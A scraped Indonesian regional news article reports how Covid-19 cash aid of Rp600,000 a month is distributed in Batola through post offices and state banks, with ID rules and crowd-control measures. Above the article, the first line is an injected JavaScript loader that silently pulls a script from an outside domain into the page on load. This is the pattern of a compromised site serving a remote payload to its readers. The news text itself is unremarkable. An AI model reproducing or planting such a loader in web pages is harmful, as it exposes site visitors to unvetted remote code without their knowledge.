(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN, MARABAHAN – Penyaluran Bantuan Sosial (Bansos) tunai sebesar Rp600 ribu dari Kementerian Sosial (Kemensos) untuk warga kurang mampu dan terdampak Covid-19 di Batola akan disalurkan melalui Kantor Pos maupun bank yang terhimpun dalam Himbara (Himpunan Bank Milik Negara). Ditargetkan, bantuan akan tersalurkan sebelum lebaran!
“Bagi masyarakat yang tidak memiliki rekening, akan disalurkan melalui kantor pos. Sedangkan bagi yang memiliki rekening akan dikirim via transfer bank yang terhimpun dalam Himbara,” kata Kepala Dinas Sosial (Kadinsos) Batola, Fuad Syekh, Rabu (14/5/2020).
Fuad Syekh menerangkan, bansos tunai dari Kemensos akan diberikan selama tiga bulan dengan nilai per bulan Rp600 ribu. Ia mengatakan, di Batola sendiri alokasi penerima bantuan berjumlah 15.005 orang. Namun sampai saat ini data yang masuk baru 4.000 dan sisanya masih menunggu.
“Data penerima sendiri berasal dari data yang dihimpun RT/RW. Dilaporkan oleh kepala desa masing-masing,” paparnya pada Rapat Koordinasi (Rakor) Pembagian Bansos Tunai Kemensos yang digelar di Aula Mufakat Kantor Bupati Batola.
Kepala Kantor Pos Banjarmasin Lilik Wahyu Saptono mengatakan, dalam penyaluran bansos nantinya akan dilakukan di kantor pos-kantor pos kecamatan. Dan dalam pelaksanaannya akan menggandeng petugas keamanan dari kepolisian.
“Untuk Kabupaten Batola kita memiliki kantor pos di 10 kecamatan. Sedangkan bagi yang tidak memiliki kantor pos kita akan meminjam tempat atau pun petugas yang akan datang,” katanya.
Lilik menerangkan, bagi masyarakat yang akan mengambil dana bansos, wajib membawa KTP dan kartu keluarga. Serta mengenakan masker. Sedangkan bagi yang tidak bisa hadir karena sakit atau lansia akan di antar ke rumah.
“Karena itu kami perlu data dari camat maupun lurah mengenai orang-orang yang penyaluran bansosnya harus diantarkan,” paparnya sembari menyatakan untuk daerah perkotaan, pembagiannya akan diberikan sesuai jadwal per kelurahan. Hal ini dimaksudkan agar tidak terjadi penumpukan massa.
Bupati Batola Hj Noormiliyani AS mengingatkan, dalam penyaluran bansos nantinya jangan sampai menimbulkan kerumunan massa. Karenanya dalam pelaksanaan disarankan tetap mempedomani protokol kesehatan.
Bahkan jika mungkin dilakukan secara door to door. “Kita mengharapkan dalam kondisi pandemi Covid-19 ini jangan sampai terjadi penumpukan massa. Terlebih dalam waktu segera Batola akan menerapkan PSBB,” ingatnya.(kanalkalimantan.com/rdy)
KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More
Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More
KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menghadiri Talkshow Literasi Digital… Read More
This website uses cookies.